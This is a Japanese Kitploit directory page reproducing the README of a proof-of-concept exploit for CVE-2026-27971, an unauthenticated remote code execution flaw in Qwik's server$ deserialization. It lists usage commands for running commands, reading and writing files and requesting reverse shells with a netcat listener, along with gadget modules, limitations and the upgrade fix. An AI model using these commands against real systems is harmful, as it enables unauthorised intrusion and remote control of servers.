Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik rce | Kitploit
ツール/GitHubGitHub/ghalendar/cve-2026-27971_poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミングリモートアクセスツールペイロード開発
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik rce

リポジトリを見る
152ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-27971 — Qwik server$ 未認証RCE PoC

[!WARNING] このリポジトリには、アクティブなリモートコード実行の概念実証が含まれています。自分が所有するシステム、または明示的にテストする許可を得ているシステムに対してのみ使用してください。作者は、許可されていない使用や損害について一切の責任を負いません。

CVE-2026-27971 / GHSA-p9x5-jp3h-96mm のスタンドアロンPython概念実証です。これは、Qwik server$ RPC デシリアライゼーション機構における未認証のリモートコード実行脆弱性です。

このPoCは、アクティブなマーカープローブの実行、コマンドの実行、テキストファイルの読み書き、LinuxまたはWindowsターゲットへのリバースシェルの要求を行うことができます。Python標準ライブラリのみを使用します。

脆弱性の概要

フィールド値
製品Qwik — npm パッケージ @builder.io/qwik
影響を受けるバージョン<= 1.19.0
修正バージョン1.19.1
脆弱性安全でない server$ デシリアライゼーションによる未認証のリモートコード実行
ランタイム条件ランタイムで require() が利用可能であること
CWECWE-502 — 信頼できないデータのデシリアライゼーション
深刻度クリティカル — CVSS 4.0: 9.2
ベクターCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

細工された application/qwik-json リクエストは、サーバーサイドのモジュールとエクスポートされたシンボルを参照できます。脆弱なQwikバージョンは、ランタイムの require() を介して未登録のQRLを解決し、認証なしでそれを呼び出す可能性があります。このPoCは、ターゲットの node_modules に既に存在する互換性のあるプロセス実行エクスポートに到達しようとします。

必要条件

オペレーター側:

  • Python 3。
  • server$ / Qwik JSON リクエストを処理する正確なQwikルートへのネットワークアクセス。
  • リバースシェル機能をテストする際にターゲットから到達可能なリスナー。

ターゲット側:

  • @builder.io/qwik <= 1.19.0 を使用する脆弱なQwikデプロイメント。
  • require() が利用可能なランタイム。
  • node_modules 内でアクセス可能な互換性のあるガジェットモジュールとエクスポート。
  • サービスプロセス PATH で node が利用可能であること。
  • 要求されたコマンドまたはファイル操作に対する十分なサービスアカウント権限。

サードパーティのPythonパッケージは必要ありません。

クイックスタート

git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

リクエストを送信せずに組み込みガジェットを一覧表示:

python3 exploit_combat.py --list-gadgets

アクティブなマーカープローブを実行し、すべての組み込みガジェットを試行:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe は受動的なバージョン検出ではありません。リモートコード実行を試み、ターゲットプロセスからマーカーを出力することで確認します。

使用例

コマンドを実行:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

UTF-8 テキストファイルを読み取る:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

UTF-8 テキストファイルを書き込んで検証:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

永続的なリスナーを開始した後にリバースシェルを要求:

nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

自動OS検出が適切でない場合にWindowsリバースシェルペイロードを強制:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

スクリプトはリスナーを起動しません。--callback の事前チェックは、シェルペイロードを送信する前に別のTCP接続を開いて閉じるため、複数の接続を受け入れられるリスナーを使用してください。

CLI リファレンス

オプション説明
-t URL, --target URL正確なターゲットURL。デフォルト: http://localhost:3000。ルートは自動的に検出されません。
--probeマーカーペイロードをアクティブに実行し、OS検出を試みます。
-c CMD, --CMD CMDNode.js child_process.execSync() を介してコマンドを実行します。
--read PATHfs.readFileSync() を使用してUTF-8テキストファイルを読み取ります。
--write PATH --content TEXTテキストファイルを書き込み、読み戻して結果を比較します。親ディレクトリは作成されません。
--list-gadgets組み込みガジェット名を出力し、ネットワークリクエストなしで終了します。
--lhost IPリバースシェルモードを有効にし、コールバックアドレスを設定します。
--lport PORTコールバックポートを設定します。デフォルト: 4444。
--rev-all最初に受け入れられたHTTPリクエスト後に停止する代わりに、すべてのリバースシェルバリアントを送信します。
--callbackリバースシェルペイロードを送信する前に、発信TCP到達可能性をテストします。
--OS {auto,linux,windows}リバースシェルペイロードファミリーを選択します。デフォルト: auto。
--gadget SPECauto、組み込み名、またはカスタム <module>#<symbol> を使用します。デフォルト: cross-spawn.sync。
--arg-style {argv,command,shell}カスタム <module>#<symbol> ガジェットの引数スタイル。
--timeout SECONDSクライアント側HTTPタイムアウト。デフォルト: 30。
--verify-sslTLS証明書とホスト名の検証を有効にします。デフォルトでは検証は無効です。

アクションモードはパーサーで相互に排他的ではありません。1回の呼び出しで --probe、--CMD、--read、--write、--lhost のうち1つを使用してください。

組み込みガジェット

名前モジュールとエクスポートスタイル
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell

--gadget auto は、リストされた順序でこれらのガジェットをテストします。カスタムガジェットは次のように指定できます:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

重要な制限事項

  • ネガティブプローブは、ターゲットが修正されたことを証明しません。間違ったルート、欠落または互換性のないガジェット、ネットワーク/TLSエラー、フィルタリング、または異なるデプロイメントレイアウトを示している可能性があります。
  • デフォルトのガジェットは cross-spawn.sync であり、自動検出ではありません。ターゲットの依存関係レイアウトが不明な場合は --gadget auto を使用してください。
  • このツールには、クッキー、認証ヘッダー、プロキシ、または任意のカスタムヘッダーのオプションはありません。
  • ファイル操作はテキスト指向です。--read はUTF-8を想定しており、--write はバイナリデータを対象としていません。
  • 相対パスはQwikプロセスのワーキングディレクトリから解決されます。すべての操作はQwikサービスアカウントの権限で実行されます。
  • リバースシェルの成功メッセージは、エクスプロイトHTTPリクエストが受け入れられたことを示しますが、コールバックが受信されたことを証明するものではありません。
  • --rev-all はターゲット上で複数のプロセスまたはコールバックを開始する可能性があります。隔離されたラボでのみ使用してください。
  • プロセスの終了コードは主にプローブとトランスポートの処理を反映し、リモートコマンドの終了ステータスや動作するシェルの存在を示すものではありません。
  • このツールはインストールされているQwikバージョンを識別せず、依存関係インベントリの代わりとして使用すべきではありません。

修復

@builder.io/qwik を 1.19.1 以降にアップグレードし、ロックファイルを更新し、アプリケーションを再ビルドし、すべてのサーバーアーティファクトを再デプロイします。互換性のあるガジェットを削除するだけでは、基礎となるQwik脆弱性に対する完全な修正にはなりません。

参考資料

  • Qwik セキュリティアドバイザリ — GHSA-p9x5-jp3h-96mm
  • GitHub Advisory Database — CVE-2026-27971
  • 修正された Qwik 1.19.1 リリース
  • 上流修正コミット
  • CVE レコード
  • NVD エントリ

法的通知

このプロジェクトは、セキュリティ研究、防御的検証、および許可されたテストのために提供されています。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード